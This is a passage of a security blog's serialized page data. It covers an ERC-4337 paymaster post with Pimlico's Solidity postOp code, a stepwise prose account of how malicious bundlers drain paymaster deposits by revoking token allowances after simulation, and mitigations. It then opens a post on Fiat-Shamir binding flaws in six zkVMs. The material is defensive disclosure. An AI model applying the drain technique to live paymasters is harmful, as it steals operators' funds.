PostOpMode",{"type":21,"tag":198,"props":107305,"children":107306},{"style":211},[107307],{"type":27,"value":828},{"type":21,"tag":198,"props":107309,"children":107310},{"style":1233},[107311],{"type":27,"value":107312},"/* mode */\n",{"type":21,"tag":198,"props":107314,"children":107315},{"class":200,"line":236},[107316,107320,107324,107329],{"type":21,"tag":198,"props":107317,"children":107318},{"style":1966},[107319],{"type":27,"value":106081},{"type":21,"tag":198,"props":107321,"children":107322},{"style":249},[107323],{"type":27,"value":103394},{"type":21,"tag":198,"props":107325,"children":107326},{"style":226},[107327],{"type":27,"value":107328}," _context",{"type":21,"tag":198,"props":107330,"children":107331},{"style":211},[107332],{"type":27,"value":257},{"type":21,"tag":198,"props":107334,"children":107335},{"class":200,"line":260},[107336,107340,107345],{"type":21,"tag":198,"props":107337,"children":107338},{"style":1966},[107339],{"type":27,"value":90391},{"type":21,"tag":198,"props":107341,"children":107342},{"style":226},[107343],{"type":27,"value":107344}," _actualGasCost",{"type":21,"tag":198,"props":107346,"children":107347},{"style":211},[107348],{"type":27,"value":257},{"type":21,"tag":198,"props":107350,"children":107351},{"class":200,"line":281},[107352,107356],{"type":21,"tag":198,"props":107353,"children":107354},{"style":1966},[107355],{"type":27,"value":90391},{"type":21,"tag":198,"props":107357,"children":107358},{"style":226},[107359],{"type":27,"value":107360}," _actualUserOpFeePerGas\n",{"type":21,"tag":198,"props":107362,"children":107363},{"class":200,"line":302},[107364],{"type":21,"tag":198,"props":107365,"children":107366},{"style":211},[107367],{"type":27,"value":24723},{"type":21,"tag":198,"props":107369,"children":107370},{"class":200,"line":323},[107371],{"type":21,"tag":198,"props":107372,"children":107373},{"style":249},[107374],{"type":27,"value":103433},{"type":21,"tag":198,"props":107376,"children":107377},{"class":200,"line":344},[107378],{"type":21,"tag":198,"props":107379,"children":107380},{"style":211},[107381],{"type":27,"value":29989},{"type":21,"tag":198,"props":107383,"children":107384},{"class":200,"line":365},[107385,107390,107394,107399,107403,107408],{"type":21,"tag":198,"props":107386,"children":107387},{"style":211},[107388],{"type":27,"value":107389}," ERC20PostOpContext ",{"type":21,"tag":198,"props":107391,"children":107392},{"style":249},[107393],{"type":27,"value":76354},{"type":21,"tag":198,"props":107395,"children":107396},{"style":211},[107397],{"type":27,"value":107398}," ctx ",{"type":21,"tag":198,"props":107400,"children":107401},{"style":683},[107402],{"type":27,"value":3174},{"type":21,"tag":198,"props":107404,"children":107405},{"style":698},[107406],{"type":27,"value":107407}," _parsePostOpContext",{"type":21,"tag":198,"props":107409,"children":107410},{"style":211},[107411],{"type":27,"value":107412},"(_context);\n",{"type":21,"tag":198,"props":107414,"children":107415},{"class":200,"line":386},[107416],{"type":21,"tag":198,"props":107417,"children":107418},{"emptyLinePlaceholder":16},[107419],{"type":27,"value":1283},{"type":21,"tag":198,"props":107421,"children":107422},{"class":200,"line":408},[107423,107427,107432,107436,107441],{"type":21,"tag":198,"props":107424,"children":107425},{"style":1966},[107426],{"type":27,"value":90391},{"type":21,"tag":198,"props":107428,"children":107429},{"style":211},[107430],{"type":27,"value":107431}," expectedPenaltyGasCost ",{"type":21,"tag":198,"props":107433,"children":107434},{"style":683},[107435],{"type":27,"value":3174},{"type":21,"tag":198,"props":107437,"children":107438},{"style":698},[107439],{"type":27,"value":107440}," _expectedPenaltyGasCost",{"type":21,"tag":198,"props":107442,"children":107443},{"style":211},[107444],{"type":27,"value":4268},{"type":21,"tag":198,"props":107446,"children":107447},{"class":200,"line":429},[107448],{"type":21,"tag":198,"props":107449,"children":107450},{"style":211},[107451],{"type":27,"value":107452}," _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n",{"type":21,"tag":198,"props":107454,"children":107455},{"class":200,"line":450},[107456],{"type":21,"tag":198,"props":107457,"children":107458},{"style":211},[107459],{"type":27,"value":8555},{"type":21,"tag":198,"props":107461,"children":107462},{"class":200,"line":468},[107463],{"type":21,"tag":198,"props":107464,"children":107465},{"emptyLinePlaceholder":16},[107466],{"type":27,"value":1283},{"type":21,"tag":198,"props":107468,"children":107469},{"class":200,"line":477},[107470,107474,107478,107482,107487,107491],{"type":21,"tag":198,"props":107471,"children":107472},{"style":1966},[107473],{"type":27,"value":90391},{"type":21,"tag":198,"props":107475,"children":107476},{"style":211},[107477],{"type":27,"value":104489},{"type":21,"tag":198,"props":107479,"children":107480},{"style":683},[107481],{"type":27,"value":3174},{"type":21,"tag":198,"props":107483,"children":107484},{"style":211},[107485],{"type":27,"value":107486}," _actualGasCost ",{"type":21,"tag":198,"props":107488,"children":107489},{"style":683},[107490],{"type":27,"value":5193},{"type":21,"tag":198,"props":107492,"children":107493},{"style":211},[107494],{"type":27,"value":107495}," expectedPenaltyGasCost;\n",{"type":21,"tag":198,"props":107497,"children":107498},{"class":200,"line":494},[107499],{"type":21,"tag":198,"props":107500,"children":107501},{"emptyLinePlaceholder":16},[107502],{"type":27,"value":1283},{"type":21,"tag":198,"props":107504,"children":107505},{"class":200,"line":515},[107506,107510,107515],{"type":21,"tag":198,"props":107507,"children":107508},{"style":1966},[107509],{"type":27,"value":90391},{"type":21,"tag":198,"props":107511,"children":107512},{"style":211},[107513],{"type":27,"value":107514}," costInToken ",{"type":21,"tag":198,"props":107516,"children":107517},{"style":683},[107518],{"type":27,"value":15498},{"type":21,"tag":198,"props":107520,"children":107521},{"class":200,"line":4484},[107522,107527,107532,107536],{"type":21,"tag":198,"props":107523,"children":107524},{"style":698},[107525],{"type":27,"value":107526}," getCostInToken",{"type":21,"tag":198,"props":107528,"children":107529},{"style":211},[107530],{"type":27,"value":107531},"(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) ",{"type":21,"tag":198,"props":107533,"children":107534},{"style":683},[107535],{"type":27,"value":5193},{"type":21,"tag":198,"props":107537,"children":107538},{"style":211},[107539],{"type":27,"value":107540}," ctx.constantFee;\n",{"type":21,"tag":198,"props":107542,"children":107543},{"class":200,"line":4493},[107544],{"type":21,"tag":198,"props":107545,"children":107546},{"emptyLinePlaceholder":16},[107547],{"type":27,"value":1283},{"type":21,"tag":198,"props":107549,"children":107550},{"class":200,"line":4561},[107551,107555,107560],{"type":21,"tag":198,"props":107552,"children":107553},{"style":1966},[107554],{"type":27,"value":90391},{"type":21,"tag":198,"props":107556,"children":107557},{"style":211},[107558],{"type":27,"value":107559}," absoluteCostInToken ",{"type":21,"tag":198,"props":107561,"children":107562},{"style":683},[107563],{"type":27,"value":15498},{"type":21,"tag":198,"props":107565,"children":107566},{"class":200,"line":4569},[107567,107572,107576,107581,107585,107589,107593,107597,107601,107605,107609],{"type":21,"tag":198,"props":107568,"children":107569},{"style":211},[107570],{"type":27,"value":107571}," costInToken ",{"type":21,"tag":198,"props":107573,"children":107574},{"style":683},[107575],{"type":27,"value":11270},{"type":21,"tag":198,"props":107577,"children":107578},{"style":211},[107579],{"type":27,"value":107580}," ctx.preFundCharged ",{"type":21,"tag":198,"props":107582,"children":107583},{"style":683},[107584],{"type":27,"value":2156},{"type":21,"tag":198,"props":107586,"children":107587},{"style":211},[107588],{"type":27,"value":107514},{"type":21,"tag":198,"props":107590,"children":107591},{"style":683},[107592],{"type":27,"value":5139},{"type":21,"tag":198,"props":107594,"children":107595},{"style":211},[107596],{"type":27,"value":107580},{"type":21,"tag":198,"props":107598,"children":107599},{"style":683},[107600],{"type":27,"value":185},{"type":21,"tag":198,"props":107602,"children":107603},{"style":211},[107604],{"type":27,"value":107580},{"type":21,"tag":198,"props":107606,"children":107607},{"style":683},[107608],{"type":27,"value":5139},{"type":21,"tag":198,"props":107610,"children":107611},{"style":211},[107612],{"type":27,"value":107613}," costInToken;\n",{"type":21,"tag":198,"props":107615,"children":107616},{"class":200,"line":4599},[107617],{"type":21,"tag":198,"props":107618,"children":107619},{"emptyLinePlaceholder":16},[107620],{"type":27,"value":1283},{"type":21,"tag":198,"props":107622,"children":107623},{"class":200,"line":4607},[107624,107629,107633],{"type":21,"tag":198,"props":107625,"children":107626},{"style":211},[107627],{"type":27,"value":107628}," SafeTransferLib.",{"type":21,"tag":198,"props":107630,"children":107631},{"style":698},[107632],{"type":27,"value":104020},{"type":21,"tag":198,"props":107634,"children":107635},{"style":211},[107636],{"type":27,"value":4268},{"type":21,"tag":198,"props":107638,"children":107639},{"class":200,"line":4638},[107640],{"type":21,"tag":198,"props":107641,"children":107642},{"style":211},[107643],{"type":27,"value":107644}," ctx.token,\n",{"type":21,"tag":198,"props":107646,"children":107647},{"class":200,"line":4646},[107648,107652,107656,107660,107664,107669,107673],{"type":21,"tag":198,"props":107649,"children":107650},{"style":211},[107651],{"type":27,"value":107571},{"type":21,"tag":198,"props":107653,"children":107654},{"style":683},[107655],{"type":27,"value":11270},{"type":21,"tag":198,"props":107657,"children":107658},{"style":211},[107659],{"type":27,"value":107580},{"type":21,"tag":198,"props":107661,"children":107662},{"style":683},[107663],{"type":27,"value":2156},{"type":21,"tag":198,"props":107665,"children":107666},{"style":211},[107667],{"type":27,"value":107668}," ctx.sender ",{"type":21,"tag":198,"props":107670,"children":107671},{"style":683},[107672],{"type":27,"value":185},{"type":21,"tag":198,"props":107674,"children":107675},{"style":211},[107676],{"type":27,"value":107677}," ctx.treasury,\n",{"type":21,"tag":198,"props":107679,"children":107680},{"class":200,"line":4706},[107681,107685,107689,107693,107697,107702,107706],{"type":21,"tag":198,"props":107682,"children":107683},{"style":211},[107684],{"type":27,"value":107571},{"type":21,"tag":198,"props":107686,"children":107687},{"style":683},[107688],{"type":27,"value":11270},{"type":21,"tag":198,"props":107690,"children":107691},{"style":211},[107692],{"type":27,"value":107580},{"type":21,"tag":198,"props":107694,"children":107695},{"style":683},[107696],{"type":27,"value":2156},{"type":21,"tag":198,"props":107698,"children":107699},{"style":211},[107700],{"type":27,"value":107701}," ctx.treasury ",{"type":21,"tag":198,"props":107703,"children":107704},{"style":683},[107705],{"type":27,"value":185},{"type":21,"tag":198,"props":107707,"children":107708},{"style":211},[107709],{"type":27,"value":107710}," ctx.sender,\n",{"type":21,"tag":198,"props":107712,"children":107713},{"class":200,"line":9857},[107714],{"type":21,"tag":198,"props":107715,"children":107716},{"style":211},[107717],{"type":27,"value":107718}," absoluteCostInToken\n",{"type":21,"tag":198,"props":107720,"children":107721},{"class":200,"line":9875},[107722],{"type":21,"tag":198,"props":107723,"children":107724},{"style":211},[107725],{"type":27,"value":8555},{"type":21,"tag":198,"props":107727,"children":107728},{"class":200,"line":9920},[107729],{"type":21,"tag":198,"props":107730,"children":107731},{"emptyLinePlaceholder":16},[107732],{"type":27,"value":1283},{"type":21,"tag":198,"props":107734,"children":107735},{"class":200,"line":10026},[107736,107740,107745,107749,107754,107758,107763,107767,107772],{"type":21,"tag":198,"props":107737,"children":107738},{"style":1966},[107739],{"type":27,"value":90391},{"type":21,"tag":198,"props":107741,"children":107742},{"style":211},[107743],{"type":27,"value":107744}," preFundInToken ",{"type":21,"tag":198,"props":107746,"children":107747},{"style":683},[107748],{"type":27,"value":3174},{"type":21,"tag":198,"props":107750,"children":107751},{"style":211},[107752],{"type":27,"value":107753}," (ctx.preFund ",{"type":21,"tag":198,"props":107755,"children":107756},{"style":683},[107757],{"type":27,"value":5383},{"type":21,"tag":198,"props":107759,"children":107760},{"style":211},[107761],{"type":27,"value":107762}," ctx.exchangeRate) ",{"type":21,"tag":198,"props":107764,"children":107765},{"style":683},[107766],{"type":27,"value":2232},{"type":21,"tag":198,"props":107768,"children":107769},{"style":2540},[107770],{"type":27,"value":107771}," 1e18",{"type":21,"tag":198,"props":107773,"children":107774},{"style":211},[107775],{"type":27,"value":1483},{"type":21,"tag":198,"props":107777,"children":107778},{"class":200,"line":24302},[107779],{"type":21,"tag":198,"props":107780,"children":107781},{"emptyLinePlaceholder":16},[107782],{"type":27,"value":1283},{"type":21,"tag":198,"props":107784,"children":107785},{"class":200,"line":24337},[107786,107790,107795,107799,107803,107807,107811,107815,107819,107823,107827],{"type":21,"tag":198,"props":107787,"children":107788},{"style":640},[107789],{"type":27,"value":4079},{"type":21,"tag":198,"props":107791,"children":107792},{"style":211},[107793],{"type":27,"value":107794}," (ctx.recipient ",{"type":21,"tag":198,"props":107796,"children":107797},{"style":683},[107798],{"type":27,"value":16491},{"type":21,"tag":198,"props":107800,"children":107801},{"style":1966},[107802],{"type":27,"value":7062},{"type":21,"tag":198,"props":107804,"children":107805},{"style":211},[107806],{"type":27,"value":706},{"type":21,"tag":198,"props":107808,"children":107809},{"style":2540},[107810],{"type":27,"value":3482},{"type":21,"tag":198,"props":107812,"children":107813},{"style":211},[107814],{"type":27,"value":1541},{"type":21,"tag":198,"props":107816,"children":107817},{"style":683},[107818],{"type":27,"value":73577},{"type":21,"tag":198,"props":107820,"children":107821},{"style":211},[107822],{"type":27,"value":107744},{"type":21,"tag":198,"props":107824,"children":107825},{"style":683},[107826],{"type":27,"value":11270},{"type":21,"tag":198,"props":107828,"children":107829},{"style":211},[107830],{"type":27,"value":107831}," costInToken) {\n",{"type":21,"tag":198,"props":107833,"children":107834},{"class":200,"line":24345},[107835,107840,107844,107849,107853],{"type":21,"tag":198,"props":107836,"children":107837},{"style":211},[107838],{"type":27,"value":107839}," SafeTransferLib.",{"type":21,"tag":198,"props":107841,"children":107842},{"style":698},[107843],{"type":27,"value":104020},{"type":21,"tag":198,"props":107845,"children":107846},{"style":211},[107847],{"type":27,"value":107848},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":21,"tag":198,"props":107850,"children":107851},{"style":683},[107852],{"type":27,"value":5139},{"type":21,"tag":198,"props":107854,"children":107855},{"style":211},[107856],{"type":27,"value":107857}," costInToken);\n",{"type":21,"tag":198,"props":107859,"children":107860},{"class":200,"line":24353},[107861],{"type":21,"tag":198,"props":107862,"children":107863},{"style":211},[107864],{"type":27,"value":1160},{"type":21,"tag":198,"props":107866,"children":107867},{"class":200,"line":24362},[107868],{"type":21,"tag":198,"props":107869,"children":107870},{"emptyLinePlaceholder":16},[107871],{"type":27,"value":1283},{"type":21,"tag":198,"props":107873,"children":107874},{"class":200,"line":24404},[107875,107880,107884],{"type":21,"tag":198,"props":107876,"children":107877},{"style":640},[107878],{"type":27,"value":107879}," emit",{"type":21,"tag":198,"props":107881,"children":107882},{"style":698},[107883],{"type":27,"value":104754},{"type":21,"tag":198,"props":107885,"children":107886},{"style":211},[107887],{"type":27,"value":107888},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":21,"tag":198,"props":107890,"children":107891},{"class":200,"line":24437},[107892],{"type":21,"tag":198,"props":107893,"children":107894},{"style":211},[107895],{"type":27,"value":880},{"type":21,"tag":30,"props":107897,"children":107898},{},[107899,107901,107906,107908,107914,107916,107922,107924,107929,107931,107936],{"type":27,"value":107900},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":21,"tag":194,"props":107902,"children":107904},{"className":107903},[],[107905],{"type":27,"value":104020},{"type":27,"value":107907},". Note that ",{"type":21,"tag":194,"props":107909,"children":107911},{"className":107910},[],[107912],{"type":27,"value":107913},"preFundCharged",{"type":27,"value":107915}," can be zero, as users can opt out of any ",{"type":21,"tag":194,"props":107917,"children":107919},{"className":107918},[],[107920],{"type":27,"value":107921},"preFund",{"type":27,"value":107923}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":21,"tag":194,"props":107925,"children":107927},{"className":107926},[],[107928],{"type":27,"value":104821},{"type":27,"value":107930}," call inside ",{"type":21,"tag":194,"props":107932,"children":107934},{"className":107933},[],[107935],{"type":27,"value":105905},{"type":27,"value":107937}," will revert and the paymaster won't be able to collect payment from the user.",{"type":21,"tag":30,"props":107939,"children":107940},{},[107941,107943,107948,107950,107956,107958,107964],{"type":27,"value":107942},"However, even when ",{"type":21,"tag":194,"props":107944,"children":107946},{"className":107945},[],[107947],{"type":27,"value":104821},{"type":27,"value":107949}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":21,"tag":194,"props":107951,"children":107953},{"className":107952},[],[107954],{"type":27,"value":107955},"requiredPrefund",{"type":27,"value":107957}," was taken from the paymaster's ",{"type":21,"tag":34,"props":107959,"children":107962},{"href":107960,"rel":107961},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[38],[107963],{"type":27,"value":62341},{"type":27,"value":658},{"type":21,"tag":30,"props":107966,"children":107967},{},[107968,107970,107975],{"type":27,"value":107969},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":21,"tag":194,"props":107971,"children":107973},{"className":107972},[],[107974],{"type":27,"value":104821},{"type":27,"value":107976}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":21,"tag":71,"props":107978,"children":107979},{},[107980,107998,108017,108028,108033],{"type":21,"tag":75,"props":107981,"children":107982},{},[107983,107985,107990,107992],{"type":27,"value":107984},"The bundler creates a ",{"type":21,"tag":194,"props":107986,"children":107988},{"className":107987},[],[107989],{"type":27,"value":102564},{"type":27,"value":107991}," with an intentionally high ",{"type":21,"tag":194,"props":107993,"children":107995},{"className":107994},[],[107996],{"type":27,"value":107997},"gasPrice",{"type":21,"tag":75,"props":107999,"children":108000},{},[108001,108003,108008,108010,108015],{"type":27,"value":108002},"The bundler ensures the ",{"type":21,"tag":194,"props":108004,"children":108006},{"className":108005},[],[108007],{"type":27,"value":104821},{"type":27,"value":108009}," call will fail by revoking the paymaster's token allowance before ",{"type":21,"tag":194,"props":108011,"children":108013},{"className":108012},[],[108014],{"type":27,"value":104821},{"type":27,"value":108016}," executes",{"type":21,"tag":75,"props":108018,"children":108019},{},[108020,108021,108026],{"type":27,"value":63733},{"type":21,"tag":194,"props":108022,"children":108024},{"className":108023},[],[108025],{"type":27,"value":104821},{"type":27,"value":108027}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":21,"tag":75,"props":108029,"children":108030},{},[108031],{"type":27,"value":108032},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":21,"tag":75,"props":108034,"children":108035},{},[108036],{"type":27,"value":108037},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":21,"tag":30,"props":108039,"children":108040},{},[108041,108043,108048,108050,108055],{"type":27,"value":108042},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":21,"tag":194,"props":108044,"children":108046},{"className":108045},[],[108047],{"type":27,"value":102593},{"type":27,"value":108049}," designed to fail during ",{"type":21,"tag":194,"props":108051,"children":108053},{"className":108052},[],[108054],{"type":27,"value":104821},{"type":27,"value":108056}," while maximizing the gas costs they can charge to the paymaster.",{"type":21,"tag":30,"props":108058,"children":108059},{},[108060,108062,108067,108069,108074,108076,108082,108084,108089],{"type":27,"value":108061},"Some paymasters try to protect against this by simulating the ",{"type":21,"tag":194,"props":108063,"children":108065},{"className":108064},[],[108066],{"type":27,"value":102564},{"type":27,"value":108068}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":21,"tag":194,"props":108070,"children":108072},{"className":108071},[],[108073],{"type":27,"value":102564},{"type":27,"value":108075}," is submitted via ",{"type":21,"tag":194,"props":108077,"children":108079},{"className":108078},[],[108080],{"type":27,"value":108081},"handleOps",{"type":27,"value":108083},". This means the ",{"type":21,"tag":194,"props":108085,"children":108087},{"className":108086},[],[108088],{"type":27,"value":104821},{"type":27,"value":108090}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":21,"tag":30,"props":108092,"children":108093},{},[108094],{"type":27,"value":108095},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":21,"tag":30,"props":108097,"children":108098},{},[108099],{"type":27,"value":108100},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":21,"tag":30,"props":108102,"children":108103},{},[108104],{"type":27,"value":108105},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":21,"tag":36146,"props":108107,"children":108108},{"id":3586},[108109],{"type":27,"value":3589},{"type":21,"tag":30,"props":108111,"children":108112},{},[108113],{"type":27,"value":108114},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":21,"tag":71,"props":108116,"children":108117},{},[108118,108123,108128,108133,108138],{"type":21,"tag":75,"props":108119,"children":108120},{},[108121],{"type":27,"value":108122},"Always collect full payment during validation, not after execution",{"type":21,"tag":75,"props":108124,"children":108125},{},[108126],{"type":27,"value":108127},"Be conservative with gas estimations and include safety margins",{"type":21,"tag":75,"props":108129,"children":108130},{},[108131],{"type":27,"value":108132},"Carefully validate all user inputs and token transfers",{"type":21,"tag":75,"props":108134,"children":108135},{},[108136],{"type":27,"value":108137},"Test extensively, including simulation of malicious behavior",{"type":21,"tag":75,"props":108139,"children":108140},{},[108141,108143,108148],{"type":27,"value":108142},"Always review changes in new ",{"type":21,"tag":194,"props":108144,"children":108146},{"className":108145},[],[108147],{"type":27,"value":102645},{"type":27,"value":108149}," versions, as they may impact your paymaster's design and security assumptions",{"type":21,"tag":30,"props":108151,"children":108152},{},[108153,108155,108160,108162,108167,108169,108174],{"type":27,"value":108154},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":21,"tag":194,"props":108156,"children":108158},{"className":108157},[],[108159],{"type":27,"value":102645},{"type":27,"value":108161}," contract's behavior could potentially break existing ",{"type":21,"tag":194,"props":108163,"children":108165},{"className":108164},[],[108166],{"type":27,"value":102717},{"type":27,"value":108168}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":21,"tag":194,"props":108170,"children":108172},{"className":108171},[],[108173],{"type":27,"value":102645},{"type":27,"value":108175}," versions.",{"type":21,"tag":30,"props":108177,"children":108178},{},[108179],{"type":27,"value":108180},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":21,"tag":30,"props":108182,"children":108183},{},[108184],{"type":27,"value":108185},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":21,"tag":3645,"props":108187,"children":108188},{},[108189],{"type":27,"value":3649},{"title":7,"searchDepth":217,"depth":217,"links":108191},[108192,108193,108194,108201,108206,108207],{"id":102479,"depth":217,"text":102482},{"id":102495,"depth":217,"text":102498},{"id":102534,"depth":217,"text":102537,"children":108195},[108196,108197,108198,108199,108200],{"id":102557,"depth":236,"text":102564},{"id":102598,"depth":236,"text":102601},{"id":102624,"depth":236,"text":102627},{"id":15528,"depth":236,"text":102645},{"id":102717,"depth":236,"text":102728},{"id":102780,"depth":217,"text":108202,"children":108203},"Understanding the EntryPoint's Flow",[108204,108205],{"id":102836,"depth":236,"text":102839},{"id":103021,"depth":236,"text":103024},{"id":103264,"depth":217,"text":103270},{"id":104864,"depth":217,"text":104870,"children":108208},[108209,108210],{"id":104924,"depth":236,"text":104927},{"id":104984,"depth":236,"text":104987},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":108215,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":108216,"description":108217,"date":108218,"author":108219,"image":108222,"isFeatured":16,"onBlogPage":16,"tags":108224,"body":108226,"_type":3671,"_id":124031,"_source":3673,"_file":124032,"_stem":124033,"_extension":3676},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[108220,108221],"himanshu","valter",{"src":108223,"width":97650,"height":14430},"/posts/zkvms-unfaithful-claims/title.png",[108225],"zkVM",{"type":18,"children":108227,"toc":123995},[108228,108233,108275,108288,108291,108297,108302,108430,108433,108439,108445,108450,108482,108630,108635,108758,108769,108780,108803,108814,108819,108852,108860,108865,108868,108874,108879,108885,108890,108895,108903,108921,109062,109067,109073,109166,109900,109968,109979,109987,110461,110467,110906,111246,111399,111404,112292,112448,112454,112546,112551,113136,113586,113662,113668,113673,113742,113752,113768,113778,113839,114258,114290,114300,114475,114480,114490,115090,115278,115296,115299,115305,115310,115318,115350,115712,115717,115802,115805,115811,115819,115824,115827,115833,115838,115846,115854,115862,115870,115903,115911,115919,116010,116261,116588,116596,116626,116796,117122,117127,117132,117149,117152,117157,117162,117174,117186,117777,117789,117801,117808,117816,117828,117836,117851,117856,118136,118155,118250,118269,118285,118288,118294,118299,118304,118311,118319,118326,118334,118347,118365,118825,118927,118932,118937,118953,118956,118962,118967,118979,118990,118995,119385,119392,119400,119425,119445,119701,119712,119731,120115,120461,120691,120850,121010,121578,121583,121609,121612,121618,121623,121630,121638,121651,121723,121734,121742,121752,121760,121771,122045,122134,122163,122166,122171,122305,122317,122324,122329,122482,122508,122515,122523,122528,122594,122599,122989,123076,123092,123095,123101,123106,123112,123212,123271,123276,123282,123287,123295,123300,123306,123311,123316,123322,123327,123330,123336,123342,123347,123352,123357,123362,123367,123370,123376,123539,123544,123547,123552,123563,123880,123885,123909,123914,123932,123937,123940,123946,123951,123956,123966,123971,123981,123991],{"type":21,"tag":30,"props":108229,"children":108230},{},[108231],{"type":27,"value":108232},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":21,"tag":30,"props":108234,"children":108235},{},[108236,108238,108243,108244,108249,108250,108255,108256,108261,108262,108267,108268,108273],{"type":27,"value":108237},"We found six systems where this faithfulness breaks. Across ",{"type":21,"tag":6137,"props":108239,"children":108240},{},[108241],{"type":27,"value":108242},"Jolt",{"type":27,"value":828},{"type":21,"tag":6137,"props":108245,"children":108246},{},[108247],{"type":27,"value":108248},"Nexus",{"type":27,"value":828},{"type":21,"tag":6137,"props":108251,"children":108252},{},[108253],{"type":27,"value":108254},"Cairo-M",{"type":27,"value":828},{"type":21,"tag":6137,"props":108257,"children":108258},{},[108259],{"type":27,"value":108260},"Ceno",{"type":27,"value":828},{"type":21,"tag":6137,"props":108263,"children":108264},{},[108265],{"type":27,"value":108266},"Expander",{"type":27,"value":7299},{"type":21,"tag":6137,"props":108269,"children":108270},{},[108271],{"type":27,"value":108272},"Binius64",{"type":27,"value":108274},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":21,"tag":30,"props":108276,"children":108277},{},[108278,108280,108286],{"type":27,"value":108279},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":21,"tag":34,"props":108281,"children":108283},{"href":108282},"#challenges",[108284],{"type":27,"value":108285},"Challenges",{"type":27,"value":108287}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":21,"tag":19590,"props":108289,"children":108290},{},[],{"type":21,"tag":22,"props":108292,"children":108294},{"id":108293},"jargon-cheat-sheet",[108295],{"type":27,"value":108296},"Jargon Cheat Sheet",{"type":21,"tag":30,"props":108298,"children":108299},{},[108300],{"type":27,"value":108301},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":21,"tag":138,"props":108303,"children":108304},{},[108305,108315,108325,108335,108345,108355,108365,108375,108385,108395,108405,108415],{"type":21,"tag":75,"props":108306,"children":108307},{},[108308,108313],{"type":21,"tag":6137,"props":108309,"children":108310},{},[108311],{"type":27,"value":108312},"Fiat-Shamir",{"type":27,"value":108314},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":21,"tag":75,"props":108316,"children":108317},{},[108318,108323],{"type":21,"tag":6137,"props":108319,"children":108320},{},[108321],{"type":27,"value":108322},"Transcript",{"type":27,"value":108324},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":21,"tag":75,"props":108326,"children":108327},{},[108328,108333],{"type":21,"tag":6137,"props":108329,"children":108330},{},[108331],{"type":27,"value":108332},"Polynomial Commitment",{"type":27,"value":108334},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":21,"tag":75,"props":108336,"children":108337},{},[108338,108343],{"type":21,"tag":6137,"props":108339,"children":108340},{},[108341],{"type":27,"value":108342},"Sumcheck",{"type":27,"value":108344},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":21,"tag":75,"props":108346,"children":108347},{},[108348,108353],{"type":21,"tag":6137,"props":108349,"children":108350},{},[108351],{"type":27,"value":108352},"MLE (Multilinear Extension)",{"type":27,"value":108354},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and 